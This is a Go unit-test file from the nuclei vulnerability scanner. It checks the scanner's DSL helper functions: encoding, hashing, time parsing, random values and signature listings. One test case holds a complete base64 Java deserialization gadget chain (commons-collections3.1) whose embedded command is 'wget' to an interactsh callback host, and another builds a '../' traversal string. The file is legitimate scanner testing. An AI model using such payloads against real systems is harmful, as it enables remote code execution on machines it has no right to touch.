mirror of
https://github.com/projectdiscovery/nuclei.git
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0295ca19bc
* Add support for showing overloaded DSL method signatures * Add `split` DSL function #2837 * fixing lint warnings * replacing faulty regex with strings methods Co-authored-by: Mzack9999 <mzack9999@protonmail.com> Co-authored-by: mzack <marco.rivoli.nvh@gmail.com>
467 lines
24 KiB
Go
467 lines
24 KiB
Go
package dsl
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import (
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"fmt"
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"math"
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"regexp"
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"testing"
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"time"
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"github.com/Knetic/govaluate"
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"github.com/stretchr/testify/assert"
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"github.com/stretchr/testify/require"
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"github.com/projectdiscovery/nuclei/v2/pkg/types"
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)
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func TestDSLURLEncodeDecode(t *testing.T) {
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functions := HelperFunctions
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encoded, err := functions["url_encode"]("&test\"")
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require.Nil(t, err, "could not url encode")
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require.Equal(t, "%26test%22", encoded, "could not get url encoded data")
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decoded, err := functions["url_decode"]("%26test%22")
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require.Nil(t, err, "could not url encode")
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require.Equal(t, "&test\"", decoded, "could not get url decoded data")
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}
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func TestDSLTimeComparison(t *testing.T) {
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compiled, err := govaluate.NewEvaluableExpressionWithFunctions("unixtime() > not_after", HelperFunctions)
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require.Nil(t, err, "could not compare time")
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result, err := compiled.Evaluate(map[string]interface{}{"not_after": float64(time.Now().Unix() - 1000)})
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require.Nil(t, err, "could not evaluate compare time")
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require.Equal(t, true, result, "could not get url encoded data")
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}
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func TestDSLGzipSerialize(t *testing.T) {
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compiled, err := govaluate.NewEvaluableExpressionWithFunctions("gzip(\"hello world\")", HelperFunctions)
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require.Nil(t, err, "could not compile encoder")
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result, err := compiled.Evaluate(make(map[string]interface{}))
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require.Nil(t, err, "could not evaluate compare time")
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compiled, err = govaluate.NewEvaluableExpressionWithFunctions("gzip_decode(data)", HelperFunctions)
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require.Nil(t, err, "could not compile decoder")
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data, err := compiled.Evaluate(map[string]interface{}{"data": result})
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require.Nil(t, err, "could not evaluate decoded data")
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require.Equal(t, "hello world", data.(string), "could not get gzip encoded data")
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}
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func TestDslFunctionSignatures(t *testing.T) {
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createSignatureError := func(signature string) string {
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return fmt.Errorf(invalidDslFunctionMessageTemplate, invalidDslFunctionError, signature).Error()
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}
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toUpperSignatureError := createSignatureError("to_upper(arg1 interface{}) interface{}")
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removeBadCharsSignatureError := createSignatureError("remove_bad_chars(arg1, arg2 interface{}) interface{}")
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testCases := []struct {
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methodName string
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arguments []interface{}
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expected interface{}
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err string
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}{
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{"to_upper", []interface{}{}, nil, toUpperSignatureError},
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{"to_upper", []interface{}{"a"}, "A", ""},
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{"toupper", []interface{}{"a"}, "A", ""},
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{"to_upper", []interface{}{"a", "b", "c"}, nil, toUpperSignatureError},
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{"remove_bad_chars", []interface{}{}, nil, removeBadCharsSignatureError},
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{"remove_bad_chars", []interface{}{"a"}, nil, removeBadCharsSignatureError},
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{"remove_bad_chars", []interface{}{"abba baab", "b"}, "aa aa", ""},
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{"remove_bad_chars", []interface{}{"a", "b", "c"}, nil, removeBadCharsSignatureError},
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}
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helperFunctions := HelperFunctions
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for _, currentTestCase := range testCases {
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methodName := currentTestCase.methodName
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t.Run(methodName, func(t *testing.T) {
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actualResult, err := helperFunctions[methodName](currentTestCase.arguments...)
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if currentTestCase.err == "" {
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assert.Nil(t, err)
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} else {
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assert.Equal(t, err.Error(), currentTestCase.err)
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}
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assert.Equal(t, currentTestCase.expected, actualResult)
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})
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}
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}
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func TestGetPrintableDslFunctionSignatures(t *testing.T) {
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expected := ` aes_cbc(arg1, arg2 interface{}) interface{}
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aes_gcm(arg1, arg2 interface{}) interface{}
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base64(arg1 interface{}) interface{}
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base64_decode(arg1 interface{}) interface{}
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base64_py(arg1 interface{}) interface{}
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bin_to_dec(arg1 interface{}) interface{}
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compare_versions(firstVersion, constraints ...string) bool
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concat(args ...interface{}) string
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contains(arg1, arg2 interface{}) interface{}
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contains_all(body interface{}, substrs ...string) bool
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contains_any(body interface{}, substrs ...string) bool
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date_time(dateTimeFormat string, optionalUnixTime interface{}) string
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dec_to_hex(arg1 interface{}) interface{}
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ends_with(str string, suffix ...string) bool
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generate_java_gadget(arg1, arg2, arg3 interface{}) interface{}
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gzip(arg1 interface{}) interface{}
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gzip_decode(arg1 interface{}) interface{}
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hex_decode(arg1 interface{}) interface{}
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hex_encode(arg1 interface{}) interface{}
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hex_to_dec(arg1 interface{}) interface{}
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hmac(arg1, arg2, arg3 interface{}) interface{}
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html_escape(arg1 interface{}) interface{}
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html_unescape(arg1 interface{}) interface{}
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join(separator string, elements ...interface{}) string
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join(separator string, elements []interface{}) string
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len(arg1 interface{}) interface{}
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line_ends_with(str string, suffix ...string) bool
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line_starts_with(str string, prefix ...string) bool
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md5(arg1 interface{}) interface{}
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mmh3(arg1 interface{}) interface{}
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oct_to_dec(arg1 interface{}) interface{}
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print_debug(args ...interface{})
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rand_base(length uint, optionalCharSet string) string
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rand_char(optionalCharSet string) string
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rand_int(optionalMin, optionalMax uint) int
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rand_ip(cidr ...string) string
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rand_text_alpha(length uint, optionalBadChars string) string
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rand_text_alphanumeric(length uint, optionalBadChars string) string
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rand_text_numeric(length uint, optionalBadNumbers string) string
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regex(arg1, arg2 interface{}) interface{}
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remove_bad_chars(arg1, arg2 interface{}) interface{}
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repeat(arg1, arg2 interface{}) interface{}
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replace(arg1, arg2, arg3 interface{}) interface{}
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replace_regex(arg1, arg2, arg3 interface{}) interface{}
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reverse(arg1 interface{}) interface{}
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sha1(arg1 interface{}) interface{}
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sha256(arg1 interface{}) interface{}
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sha512(arg1 interface{}) interface{}
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sort(elements ...interface{}) []interface{}
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sort(input number) string
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sort(input string) string
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split(input string, n int) []string
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split(input string, separator string, optionalChunkSize) []string
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starts_with(str string, prefix ...string) bool
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substr(str string, start int, optionalEnd int)
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to_lower(arg1 interface{}) interface{}
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to_number(arg1 interface{}) interface{}
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to_string(arg1 interface{}) interface{}
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to_unix_time(input string, optionalLayout string) int64
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to_upper(arg1 interface{}) interface{}
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trim(arg1, arg2 interface{}) interface{}
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trim_left(arg1, arg2 interface{}) interface{}
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trim_prefix(arg1, arg2 interface{}) interface{}
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trim_right(arg1, arg2 interface{}) interface{}
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trim_space(arg1 interface{}) interface{}
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trim_suffix(arg1, arg2 interface{}) interface{}
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uniq(elements ...interface{}) []interface{}
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uniq(input number) string
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uniq(input string) string
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unix_time(optionalSeconds uint) float64
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url_decode(arg1 interface{}) interface{}
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url_encode(arg1 interface{}) interface{}
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wait_for(seconds uint)
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zlib(arg1 interface{}) interface{}
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zlib_decode(arg1 interface{}) interface{}
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`
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signatures := GetPrintableDslFunctionSignatures(true)
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assert.Equal(t, expected, signatures)
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coloredSignatures := GetPrintableDslFunctionSignatures(false)
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require.Contains(t, coloredSignatures, `[93maes_cbc[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m`, "could not get colored signatures")
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}
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func TestDslExpressions(t *testing.T) {
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dslExpressions := map[string]interface{}{
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`base64("Hello")`: "SGVsbG8=",
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`base64(1234)`: "MTIzNA==",
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`base64_py("Hello")`: "SGVsbG8=\n",
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`hex_encode("aa")`: "6161",
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`html_escape("<body>test</body>")`: "<body>test</body>",
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`html_unescape("<body>test</body>")`: "<body>test</body>",
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`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
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`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
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`mmh3("Hello")`: "316307400",
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`remove_bad_chars("abcd", "bc")`: "ad",
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`replace("Hello", "He", "Ha")`: "Hallo",
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`concat("Hello", 123, "world")`: "Hello123world",
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`join("_", "Hello", 123, "world")`: "Hello_123_world",
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`repeat("a", 5)`: "aaaaa",
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`repeat("a", "5")`: "aaaaa",
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`repeat("../", "5")`: "../../../../../",
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`repeat(5, 5)`: "55555",
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`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
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`reverse("abc")`: "cba",
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`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
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`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
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`sha512("Hello")`: "3615f80c9d293ed7402687f94b22d58e529b8cc7916f8fac7fddf7fbd5af4cf777d3d795a7a00a16bf7e7f3fb9561ee9baae480da9fe7a18769e71886b03f315",
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`to_lower("HELLO")`: "hello",
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`to_upper("hello")`: "HELLO",
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`trim("aaaHelloddd", "ad")`: "Hello",
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`trim_left("aaaHelloddd", "ad")`: "Helloddd",
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`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
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`trim_right("aaaHelloddd", "ad")`: "aaaHello",
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`trim_space(" Hello ")`: "Hello",
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`trim_suffix("aaHelloaa", "aa")`: "aaHello",
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`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
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`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
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`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
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`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
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`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
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`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
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`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
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`base64_decode("SGVsbG8=")`: "Hello",
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`hex_decode("6161")`: "aa",
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`len("Hello")`: float64(5),
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`len(1234)`: float64(4),
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`contains("Hello", "lo")`: true,
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`starts_with("Hello", "He")`: true,
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`ends_with("Hello", "lo")`: true,
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"line_starts_with('Hi\nHello', 'He')": true, // back quotes do not support escape sequences
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"line_ends_with('Hii\nHello', 'ii')": true, // back quotes do not support escape sequences
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`regex("H([a-z]+)o", "Hello")`: true,
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`wait_for(1)`: nil,
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`print_debug(1+2, "Hello")`: nil,
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`to_number('4')`: float64(4),
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`to_string(4)`: "4",
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`dec_to_hex(7001)`: "1b59",
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`hex_to_dec("ff")`: float64(255),
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`hex_to_dec("0xff")`: float64(255),
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`oct_to_dec("0o1234567")`: float64(342391),
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`oct_to_dec("1234567")`: float64(342391),
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`oct_to_dec(1234567)`: float64(342391),
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`bin_to_dec("0b1010")`: float64(10),
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`bin_to_dec("1010")`: float64(10),
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`bin_to_dec(1010)`: float64(10),
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`compare_versions('v1.0.0', '<1.1.1')`: true,
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`compare_versions('v1.1.1', '>v1.1.0')`: true,
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`compare_versions('v1.0.0', '>v0.0.1,<v1.0.1')`: true,
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`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true,
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`hmac('sha1', 'test', 'scrt')`: "8856b111056d946d5c6c92a21b43c233596623c6",
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`hmac('sha256', 'test', 'scrt')`: "1f1bff5574f18426eb376d6dd5368a754e67a798aa2074644d5e3fd4c90c7a92",
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`hmac('sha512', 'test', 'scrt')`: "1d3fff1dbb7369c1615ffb494813146bea051ce07e5d44bdeca539653ea97656bf9d38db264cddbe6a83ea15139c8f861a7e73e10e43ad4865e852a9ee6de2e9",
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`substr('xxtestxxx',2)`: "testxxx",
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`substr('xxtestxxx',2,-2)`: "testx",
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`substr('xxtestxxx',2,6)`: "test",
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`sort(12453)`: "12345",
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`sort("a1b2c3d4e5")`: "12345abcde",
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`sort("b", "a", "2", "c", "3", "1", "d", "4")`: []string{"1", "2", "3", "4", "a", "b", "c", "d"},
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`split("abcdefg", 2)`: []string{"ab", "cd", "ef", "g"},
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`split("ab,cd,efg", ",", 1)`: []string{"ab,cd,efg"},
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`split("ab,cd,efg", ",", 2)`: []string{"ab", "cd,efg"},
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`split("ab,cd,efg", ",", "3")`: []string{"ab", "cd", "efg"},
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`split("ab,cd,efg", ",", -1)`: []string{"ab", "cd", "efg"},
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`split("ab,cd,efg", ",")`: []string{"ab", "cd", "efg"},
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`join(" ", sort("b", "a", "2", "c", "3", "1", "d", "4"))`: "1 2 3 4 a b c d",
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`uniq(123123231)`: "123",
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`uniq("abcabdaabbccd")`: "abcd",
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`uniq("ab", "cd", "12", "34", "12", "cd")`: []string{"ab", "cd", "12", "34"},
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`join(" ", uniq("ab", "cd", "12", "34", "12", "cd"))`: "ab cd 12 34",
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`join(", ", split(hex_encode("abcdefg"), 2))`: "61, 62, 63, 64, 65, 66, 67",
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}
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testDslExpressionScenarios(t, dslExpressions)
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}
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func TestDateTimeDSLFunction(t *testing.T) {
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testDateTimeFormat := func(t *testing.T, dateTimeFormat string, dateTimeFunction *govaluate.EvaluableExpression, expectedFormattedTime string, currentUnixTime int64) {
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dslFunctionParameters := map[string]interface{}{"dateTimeFormat": dateTimeFormat}
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if currentUnixTime != 0 {
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dslFunctionParameters["unixTime"] = currentUnixTime
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}
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result, err := dateTimeFunction.Evaluate(dslFunctionParameters)
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require.Nil(t, err, "could not evaluate compare time")
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require.Equal(t, expectedFormattedTime, result.(string), "could not get correct time format string")
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}
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t.Run("with unix time", func(t *testing.T) {
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dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat)", HelperFunctions)
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require.Nil(t, err, "could not compile encoder")
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currentTime := time.Now()
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expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
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testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, 0)
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testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, 0)
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})
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t.Run("without unix time", func(t *testing.T) {
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dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat, unixTime)", HelperFunctions)
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require.Nil(t, err, "could not compile encoder")
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currentTime := time.Now()
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currentUnixTime := currentTime.Unix()
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expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
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testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, currentUnixTime)
|
||
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, currentUnixTime)
|
||
})
|
||
}
|
||
|
||
func TestDateTimeDslExpressions(t *testing.T) {
|
||
t.Run("date_time", func(t *testing.T) {
|
||
now := time.Now()
|
||
|
||
dslExpressions := map[string]interface{}{
|
||
`date_time("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
|
||
`date_time("%Y-%M-%D", unix_time())`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
|
||
`date_time("%Y-%M-%D", 1642032000)`: time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC).Local().Format("2006-01-02"),
|
||
`date_time("%H-%m")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
|
||
`date_time("02-01-2006", unix_time())`: now.Format("02-01-2006"),
|
||
`date_time("02-01-2006", 1642032000)`: time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC).Local().Format("02-01-2006"),
|
||
}
|
||
|
||
testDslExpressionScenarios(t, dslExpressions)
|
||
})
|
||
|
||
t.Run("to_unix_time(input string) int", func(t *testing.T) {
|
||
expectedUtcTime := time.Date(2022, 01, 13, 16, 30, 10, 0, time.UTC)
|
||
|
||
dateTimeInputs := map[string]time.Time{
|
||
// UTC time
|
||
"2022-01-13T16:30:10Z": expectedUtcTime,
|
||
"2022-01-13T16:30:10+00:00": expectedUtcTime,
|
||
"2022-01-13T16:30:10-00:00": expectedUtcTime,
|
||
|
||
// explicit time offset
|
||
"2022-01-13 16:30:10 +01:00": time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+1", 60*60)),
|
||
"2022-01-13 16:30 +01:00": time.Date(2022, 01, 13, 16, 30, 0, 0, time.FixedZone("UTC+1", 60*60)),
|
||
"2022-01-13 +02:00": time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC+2", 2*60*60)),
|
||
"2022-01-13 -02:00": time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC+2", -2*60*60)),
|
||
|
||
// local time
|
||
"2022-01-13 16:30:10": time.Date(2022, 01, 13, 16, 30, 10, 0, time.Local),
|
||
"2022-01-13 16:30": time.Date(2022, 01, 13, 16, 30, 0, 0, time.Local),
|
||
"2022-01-13": time.Date(2022, 01, 13, 0, 0, 0, 0, time.Local),
|
||
}
|
||
|
||
for dateTimeInput, expectedTime := range dateTimeInputs {
|
||
dslExpression := fmt.Sprintf(`to_unix_time("%s")`, dateTimeInput)
|
||
t.Run(dslExpression, func(t *testing.T) {
|
||
actual := evaluateExpression(t, dslExpression)
|
||
assert.Equal(t, expectedTime.Unix(), actual)
|
||
})
|
||
}
|
||
})
|
||
|
||
t.Run("to_unix_time(input string, layout string) int", func(t *testing.T) {
|
||
testScenarios := []struct {
|
||
inputDateTime string
|
||
layout string
|
||
expectedTime time.Time
|
||
}{
|
||
{"2022-01-13T16:30:10+02:00", time.RFC3339, time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+2", 2*60*60))},
|
||
{"13-01-2022 16:30:10", "02-01-2006 15:04:05", time.Date(2022, 01, 13, 16, 30, 10, 0, time.UTC)},
|
||
{"13-01-2022 16:30", "02-01-2006 15:04", time.Date(2022, 01, 13, 16, 30, 0, 0, time.UTC)},
|
||
{"13-01-2022", "02-01-2006", time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC)},
|
||
|
||
{"13-01-2022 16:30:10 +02:00", "02-01-2006 15:04:05 Z07:00", time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+2", 2*60*60))},
|
||
{"13-01-2022 16:30 +01:00", "02-01-2006 15:04 Z07:00", time.Date(2022, 01, 13, 16, 30, 0, 0, time.FixedZone("UTC+1", 60*60))},
|
||
{"13-01-2022 -03:30", "02-01-2006 Z07:00", time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC-3:30", -3*60*60-30*60))},
|
||
}
|
||
|
||
for _, testScenario := range testScenarios {
|
||
dslExpression := fmt.Sprintf(`to_unix_time("%s", "%s")`, testScenario.inputDateTime, testScenario.layout)
|
||
t.Run(dslExpression, func(t *testing.T) {
|
||
actual := evaluateExpression(t, dslExpression)
|
||
assert.Equal(t, testScenario.expectedTime.Unix(), actual)
|
||
})
|
||
}
|
||
})
|
||
}
|
||
|
||
func TestRandDslExpressions(t *testing.T) {
|
||
randDslExpressions := map[string]string{
|
||
`rand_base(10, "")`: `[a-zA-Z0-9]{10}`,
|
||
`rand_base(5, "abc")`: `[abc]{5}`,
|
||
`rand_base(5)`: `[a-zA-Z0-9]{5}`,
|
||
`rand_char("abc")`: `[abc]{1}`,
|
||
`rand_char("")`: `[a-zA-Z0-9]{1}`,
|
||
`rand_char()`: `[a-zA-Z0-9]{1}`,
|
||
`rand_ip("192.168.0.0/24")`: `(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`,
|
||
`rand_ip("2001:db8::/64")`: `(?:[A-Fa-f0-9]{0,4}:){0,7}[A-Fa-f0-9]{0,4}$`,
|
||
|
||
`rand_text_alpha(10, "abc")`: `[^abc]{10}`,
|
||
`rand_text_alpha(10, "")`: `[a-zA-Z]{10}`,
|
||
`rand_text_alpha(10)`: `[a-zA-Z]{10}`,
|
||
`rand_text_alphanumeric(10, "ab12")`: `[^ab12]{10}`,
|
||
`rand_text_alphanumeric(5, "")`: `[a-zA-Z0-9]{5}`,
|
||
`rand_text_alphanumeric(10)`: `[a-zA-Z0-9]{10}`,
|
||
`rand_text_numeric(10, 123)`: `[^123]{10}`,
|
||
`rand_text_numeric(10)`: `\d{10}`,
|
||
}
|
||
|
||
for randDslExpression, regexTester := range randDslExpressions {
|
||
t.Run(randDslExpression, func(t *testing.T) {
|
||
actualResult := evaluateExpression(t, randDslExpression)
|
||
|
||
compiledTester := regexp.MustCompile(fmt.Sprintf("^%s$", regexTester))
|
||
|
||
fmt.Printf("%s: \t %v\n", randDslExpression, actualResult)
|
||
|
||
stringResult := types.ToString(actualResult)
|
||
|
||
assert.True(t, compiledTester.MatchString(stringResult), "The result '%s' of '%s' expression does not match the expected regex: '%s'", actualResult, randDslExpression, regexTester)
|
||
})
|
||
}
|
||
}
|
||
|
||
func TestRandIntDslExpressions(t *testing.T) {
|
||
randIntDslExpressions := map[string]func(int) bool{
|
||
`rand_int(5, 9)`: func(i int) bool {
|
||
return i >= 5 && i <= 9
|
||
},
|
||
`rand_int(9)`: func(i int) bool {
|
||
return i >= 9
|
||
},
|
||
`rand_int()`: func(i int) bool {
|
||
return i >= 0 && i <= math.MaxInt32
|
||
},
|
||
}
|
||
|
||
for randIntDslExpression, tester := range randIntDslExpressions {
|
||
t.Run(randIntDslExpression, func(t *testing.T) {
|
||
actualResult := evaluateExpression(t, randIntDslExpression)
|
||
|
||
actualIntResult := actualResult.(int)
|
||
assert.True(t, tester(actualIntResult), "The '%d' result of the '%s' expression, does not match th expected validation function.", actualIntResult, randIntDslExpression)
|
||
})
|
||
}
|
||
}
|
||
|
||
func evaluateExpression(t *testing.T, dslExpression string) interface{} {
|
||
compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, HelperFunctions)
|
||
require.NoError(t, err, "Error while compiling the %q expression", dslExpression)
|
||
|
||
actualResult, err := compiledExpression.Evaluate(make(map[string]interface{}))
|
||
require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression)
|
||
|
||
for _, negativeTestWord := range []string{"panic", "invalid", "error"} {
|
||
require.NotContains(t, fmt.Sprintf("%v", actualResult), negativeTestWord)
|
||
}
|
||
|
||
return actualResult
|
||
}
|
||
|
||
func testDslExpressionScenarios(t *testing.T, dslExpressions map[string]interface{}) {
|
||
for dslExpression, expectedResult := range dslExpressions {
|
||
t.Run(dslExpression, func(t *testing.T) {
|
||
actualResult := evaluateExpression(t, dslExpression)
|
||
|
||
if expectedResult != nil {
|
||
assert.Equal(t, expectedResult, actualResult)
|
||
}
|
||
|
||
fmt.Printf("%s: \t %v\n", dslExpression, actualResult)
|
||
})
|
||
}
|
||
}
|